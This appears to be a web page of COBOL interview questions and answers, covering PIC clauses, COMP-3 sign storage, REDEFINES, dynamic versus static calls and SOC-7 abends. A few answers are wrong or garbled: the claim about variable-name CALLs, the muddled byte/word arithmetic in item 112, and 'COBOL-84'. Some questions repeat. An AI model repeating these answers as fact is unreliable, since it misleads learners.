<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">97. What is the Purpose of POINTER Phrase in STRING command </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The Purpose of POINTER phrase is to specify the leftmost position within receiving field where the first transferred character will be stored </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">98.How do we get currentdate from system with century? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. By using Intrinsic function, FUNCTION CURRENT-DATE </span></p>
<pre style="margin-left: 0.5in;"><span style="mso-spacerun: yes;"> </span></pre>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">99.what is the difference between search and search all in the table handling? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Search is a linear search and search all is a binary search. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">100.What is the maximum length of a field you can define using COMP-3? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. 10 Bytes (S9(18) COMP-3). </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">101.How many Sections are there in Data Division?. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. SIX SECTIONS 1.&#8217;FILE SECTION&#8217; 2.&#8217;WORKING-STORAGE SECTION&#8217; 3.&#8217;LOCAL-STORAGE SECTION&#8217; 4.&#8217;SCREEN SECTION&#8217; 5.&#8217;REPORT SECTION&#8217; 6.&#8217;LINKAGE SECTION&#8217;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">In COBOL II, there are only 4 sections. 1.&#8217;FILE SECTION&#8217; 2.&#8217;WORKING-STORAGE SECTION&#8217; 3.&#8217;LOCAL-STORAGE SECTION&#8217; 4.&#8217;LINKAGE SECTION&#8217;.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">102.How can I tell if a module is being called DYNAMICALLY or STATICALLY? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The ONLY way is to look at the output of the linkage editor (IEWL)or the load module itself. If the module is being called DYNAMICALLY then it will not exist in the main module, if it is being called STATICALLY then it will be seen in the load module. Calling a working storage variable, containing a program name, does not make a DYNAMIC call. This type of calling is known as IMPLICITE calling as the name of the module is implied by the contents of the working storage variable. Calling a program name literal (CALL).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">103.What is the difference between a DYNAMIC and STATIC call in COBOL. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. To correct an earlier answer:All called modules cannot run standalone if they require program variables passed to them via the LINKAGE section. DYNAMICally called modules are those that are not bound with the calling program at link edit time (IEWL for IBM) and so are loaded from the program library (joblib or steplib) associated with the job. For DYNAMIC calling of a module the DYNAM compiler option must be chosen, else the linkage editor will not generate an executable as it will expect null address resolution of all called modules. A STATICally called module is one that is bound with the calling module at link edit, and therefore becomes part of the executable load module. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">104.What is the difference between PIC 9.99 and 9v99? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. PIC 9.99 is a FOUR-POSITION field that actually contains a decimal point where as PIC 9v99 is THREE-POSITION numeric field with implied or assumed decimal position. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">105.How is PIC 9.99 is different from PIC 9v99? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. PIC 9.99 is a four position field that actually contains a decimal point where as 9v99 is a three position numeric field with an implied or assumed decimal point. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">106.what is Pic 9v99 Indicates? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. PICTURE 9v99 is a three position Numeric field with an implied or assumed decimal point after the first position; the v means an implied decimal point. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">107.what guidelines should be followed to write a structured COBOL program? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l13 level1 lfo51; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">1) Use &#8216;EVALUATE&#8217; stmt for constructing cases. 2) Use scope terminators for nesting. 3)Use in-line Perform stmt for writing &#8216;do &#8216; constructions. 4) Use Test Before and test after in the Perform stmt for writing Do-While constructions. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">108.Read the following code. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 ws-n PIC 9(2) value zero. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">a-para. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">move 5 to ws-n. </span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">perform b-para ws-n times.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">b-para. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">move 10 to ws-n.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">How many times will b-para be executed ?</span><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. 5 Times only. it will not take the value 10 that is initialized in the loop. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">109.What are some examples of command terminators? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. END-IF, END-EVALUATE </span></p>
<pre style="margin-left: 0.5in;"><span style="mso-spacerun: yes;"> </span></pre>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">110.What care has to be taken to force program to execute above 16 Meg line? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Make sure that link option is AMODE=31 and RMODE=ANY. Compile option should never have SIZE(MAX).BUFSIZE can be 2K, efficient enough. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">111.Give some advantages of REDEFINES clause. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. You can REDEFINE a Variable from one PICTURE class to another PICTURE class by using the same memory location. By REDEFINES we can INITIALISE the variable in WORKING-STORAGE Section itself.3. We can REDEFINE a Single Variable into so many sub-variables.(This facility is very useful in solving Y2000 Problem.) </span></p>
<pre style="margin-left: 0.5in;"><span style="mso-spacerun: yes;"> </span></pre>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">112.Why do we code s9(4)comp. Inspite of knowing comp-3 will occupy less space. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Here s9(4)comp is small integer ,so two words equal to 8 bytes. Totally it will occupy 2 bytes(4 words).here in s9(4) comp-3 as one word is equal to 1/2 byte.4 words equal to 2 bytes and sign will occupy 1/2 bytes totally it will occupy 3 bytes. </span></p>
<pre style="margin-left: 0.5in;"><span style="mso-spacerun: yes;"> </span></pre>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">113.The maximum number of dimensions that an array can have in COBOL-85 is ________. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Answer: SEVEN in COBOL &#8211; 85 and THREE in COBOL &#8211; 84 </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">114.Name the divisions in a COBOL program. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. IDENTIFICATION DIVISION, ENVIRONMENT DIVISION, DATA DIVISION, PROCEDURE DIVISION. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">115.What are the different data types available in COBOL?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Alpha-numeric (X), alphabetic (A) and numeric (9).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">116.What is 77 level used for ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Elementary level item. Cannot be subdivisions of other items (cannot be qualified), nor can they be subdivided themselves.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">117.What is 88 level used for ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. For defining condition names.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">118.What is level 66 used for ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. For RENAMES clause.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">119.What does the IS NUMERIC clause establish?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. IS NUMERIC can be used on alphanumeric items, signed numeric &amp; packed decimal items and unsigned numeric &amp; packed decimal items. IS NUMERIC returns TRUE if the item only consists of 0-9. However, if the item being tested is a signed item, then it may contain 0-9, + and &#8211; .</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">120.My program has an array defined to have 10 items. Due to a bug, I find that even if the program access the 11th item in this array, the program does not abend. What is wrong with it?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Must use compiler option SSRANGE if you want array bounds checking. Default is NOSSRANGE.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">121. What is the difference between performing a SECTION and a PARAGRAPH? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Performing a SECTION will cause all the paragraphs that are part of the section, to be performed. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Performing a PARAGRAPH will cause only that paragraph to be performed.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">122.Can I redefine an X(200) field with a field of X(100) ?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l45 level1 lfo54; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Yes. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">123.What does EXIT do?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Does nothing ! If used, must be the only sentence within a paragraph.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">124.Can I redefine an X(100) field with a field of X(200)?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Yes. Redefines just causes both fields to start at the same location. For example:</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">01 WS-TOP PIC X(1)</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">01 WS-TOP-RED REDEFINES WS-TOP PIC X(2).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">If you MOVE &#8216;12&#8242; to WS-TOP-RED, </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">DISPLAY WS-TOP will show 1 while </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">DISPLAY WS-TOP-RED will show 12. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">125.Can I redefine an X(200) field with a field of X(100) ?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Yes.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">126.What do you do to resolve SOC-7 error? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Basically you need to correcting the offending data. Many times the reason for SOC7 is an un-initialized numeric item. Examine that possibility first. Many installations provide you a dump for run time abends ( it can be generated also by calling some subroutines or OS services thru assembly language). These dumps provide the offset of the last instruction at which the abend occurred. Examine the compilation output XREF listing to get the verb and the line number of the source code at this offset. Then you can look at the source code to find the bug. To get capture the runtime dumps, you will have to define some datasets (SYSABOUT etc ) in the JCL. If none of these are helpful, use judgement and DISPLAY to localize the source of error. You may even use batch program debugging tools. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">127.How is sign stored in Packed Decimal fields and Zoned Decimal fields?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Packed Decimal fields: Sign is stored as a hex value in the last nibble (4 bits ) of the storage. Zoned Decimal fields: As a default, sign is over punched with the numeric value stored in the last bite.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">128.How is sign stored in a comp-3 field? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. It is stored in the last nibble. For example if your number is +100, it stores hex 0C in the last byte, hex 1C if your number is 101, hex 1D if the number is -101, hex 2D if the number is -102 etc&#8230; </span></p>
